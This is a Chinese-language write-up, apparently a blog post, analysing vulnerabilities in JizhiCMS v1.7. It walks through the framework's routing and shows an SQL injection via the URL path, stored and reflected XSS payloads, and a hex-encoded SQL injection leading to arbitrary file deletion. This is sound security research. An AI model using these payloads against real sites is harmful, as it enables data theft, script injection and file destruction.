本篇是对极致CMSv1.7漏洞的一些新的发现,先从MVC开始到漏洞的发掘利用
首先,先打开index.php
<?php // +---------------------------------------------------------------------- // | FrPHP { a friendly PHP Framework } // +---------------------------------------------------------------------- // | Copyright (c) 2018-2099 http://frphp.jizhicms.com All rights reserved. // +---------------------------------------------------------------------- // | Author: 留恋风 <[email protected]> // +---------------------------------------------------------------------- // | Date:2018/02 // +---------------------------------------------------------------------- // 应用目录为当前目录 define('APP_PATH', __DIR__ . '/'); // 开启调试模式 //define('APP_DEBUG', true); //定义项目目录 define('APP_HOME','Home'); //定义项目模板文件目录 define('HOME_VIEW','template'); //定义项目模板公共文件目录 define('Tpl_common',''); //定义项目控制器文件目录 define('HOME_CONTROLLER','c'); //定义项目模型文件目录 define('HOME_MODEL','m'); //定义项目默认方法 define('DefaultAction','jizhi'); //取消log define('StopLog',false); //定义静态文件路径 define('Tpl_style','/static/'); // 加载框架文件 require(APP_PATH . 'FrPHP/Fr.php'); // 就这么简单~
先是define定义,然后加载框架,所以直接去加载的框架看看,是再FrPHP/Fr.php,打开后,拖到最后,发现
先加载了配置文件,因为配置文件里是用单引号包裹,就没什么好看的。然后再会触发FrPHP的eun方法,跟进查看
前三个很简单,是配置数据库,和对传入的数据的简单处理,需要注意的是route()路由处理,对它进行跟进
在141行接收url传入的参数,然后在206行对控制器和方法名进行define赋值
然后在212行对传入的url进行处理,把输入的url前面传入的index.php先舍去
然后在231行开始,会对传入的url拆分,变为数组,如我url输入:index.php/Home/ce,会被拆分为Home和ce然后在243行赋值给控制器名和方法名
但是在257行会先判断插件中是否存在该控制器,但是该目录默认为空,所以会先进入if判断中,然后再进入263行,判断在默认文件中是否存在该控制器,即在\Home\c中是否存在,若是不存在则会把控制器名默认为Home,因为这个默认设置,所以后面会存在一个SQL注入
然后再调用我们指定的类的方法
在\Home\c\HomeController.php中的jizhi中
看到在101行存在把$url变为数组,然后取出进行sql注入。而$url则是由这里:
$url只是对url栏输入的进行接收,所以我们先来看下接收的方式:
看出只是对接收index.php后面的。回到第101行,看到会先以/来进行分割,然后取出数组的第一个进入find中,执行sql语句,所以我们考虑怎么对其进行攻击利用,但是我们不能更换/Home/否则会无法执行jizhi,但是我们回到MVC篇中看到的,在第264行中,我们可以看到如果我们输入的不存在,会默认controllerName为Home
所以这就意味着我们可以随意的写入,都会最终默认转换为Home,所以直接进行SQL注入:
然后因为没有过滤,就是正常的sql注入了,HomeController.php中的jizhi_details中还有一处sql注入,是通过传值来进行sql注入的,难度不打,有兴趣的可以自行去看看
漏洞在\Home\c\UserController.php的release中,主要利用代码如下:
if($_POST){ $data = $this->frparam(); ... $w = get_fields_data($data,$w['molds']); switch($w['molds']){ case 'article': if(!$data['body']){ if($this->frparam('ajax')){ JsonReturn(['code'=>1,'msg'=>'内容不能为空!']); }else{ Error('内容不能为空!'); } } if(!$data['title']){ if($this->frparam('ajax')){ JsonReturn(['code'=>1,'msg'=>'标题不能为空!']); }else{ Error('标题不能为空!'); } } $data['body'] = $this->frparam('body',4); $w['title'] = $this->frparam('title',1); $w['seo_title'] = $w['title']; $w['keywords'] = $this->frparam('keywords',1); $w['litpic'] = $this->frparam('litpic',1); $w['body'] = $data['body']; $w['description'] = newstr(strip_tags($data['body']),200); break; ... } ... if($this->frparam('id')){ $a = M($w['molds'])->update(['id'=>$this->frparam('id')],$w); if(!$a){ if($this->frparam('ajax')){ JsonReturn(['code'=>1,'msg'=>'未修改内容,不能提交!']); }else{ Error('未修改内容,不能提交!'); } } if($this->frparam('ajax')){ JsonReturn(['code'=>0,'msg'=>'修改成功!','url'=>U('user/posts',['molds'=>$w['molds']])]); }else{ Success('修改成功!',U('user/posts',['molds'=>$w['molds']])); } }else{ $a = M($w['molds'])->add($w); if(!$a){ if($this->frparam('ajax')){ JsonReturn(['code'=>1,'msg'=>'发布失败,请重试!']); }else{ Error('发布失败,请重试!'); } } if($this->frparam('ajax')){ JsonReturn(['code'=>0,'msg'=>'发布成功!','url'=>U('user/posts',['molds'=>$w['molds']])]); }else{ Success('发布成功!',U('user/posts',['molds'=>$w['molds']])); } } }
很简单,就是先赋值给$data,然后$data会经过get_fields_data函数,该函数代码如下:
function get_fields_data($data,$molds,$isadmin=1){ if($isadmin){ $fields = M('fields')->findAll(['molds'=>$molds,'isadmin'=>1],'orders desc,id asc'); }else{ //前台需要判断是否前台显示 $fields = M('fields')->findAll(['molds'=>$molds,'isshow'=>1],'orders desc,id asc'); } foreach($fields as $v){ if(array_key_exists($v['field'],$data)){ switch($v['fieldtype']){ case 1: case 2: case 5: case 7: case 9: case 12: $data[$v['field']] = format_param($data[$v['field']],1); break; case 11: $data[$v['field']] = strtotime(format_param($data[$v['field']],1)); break; case 3: $data[$v['field']] = format_param($data[$v['field']],4); break; case 4: case 13: $data[$v['field']] = format_param($data[$v['field']]); break; case 14: $data[$v['field']] = format_param($data[$v['field']],3); break; case 8: $r = implode(',',format_param($data[$v['field']],2)); if($r!=''){ $r = ','.$r.','; } $data[$v['field']] = $r; break; } }else if(array_key_exists($v['field'].'_urls',$data)){ switch($v['fieldtype']){ case 6: case 10: $data[$v['field']] = implode('||',format_param($data[$v['field'].'_urls'],2)); break; } }else{ $data[$v['field']] = ''; } } return $data; }
因为是先经过sql执行,所以可以构造$fields为空,所以可以直接把$data的值赋值给$w。
然后看到源代码的这一句$data['body'] = $this->frparam('body',4);
,我们可以知道4是没有对html实体话的,所以可以对body进行XSS的注入,所以构造payload:
tid=2&article=asd&body=<script>alert(1)</script>&id=4&molds=article&title=qwe&sad=qwe
漏洞在\Home\c\ErrorController.php中
很简单,直接输入
?msg=<script>alert(1)</script>
漏洞在A\c\SysController.php中的deletePicAll处:
首先,frparam函数功能是可以通过在浏览器传值进行对$data传值,该函数有一定过滤,在该处主要是对单引号何双引号过滤,然后后面会把$data数组中litpic检测是否为文件名,然后再删除文件。
首先,我们先来一段测试代码:
function ce(){ $data = $this->frparam('data',1); if($data!='') { $pictures = M('pictures')->findAll('id in(' . $data . ')'); var_dump($pictures); $isall = true; foreach($pictures as $v){ if(strpos($v['litpic'],'http')===false){ var_dump('.'.$v['litpic']); }else{ $isall = false; } } } }
然后先随意输入:
看到拼接后执行的语句,然后再来进行构造,因为过滤了单引号和双引号,所以用16进制,构造payload:
这样就能先实现任意文件删除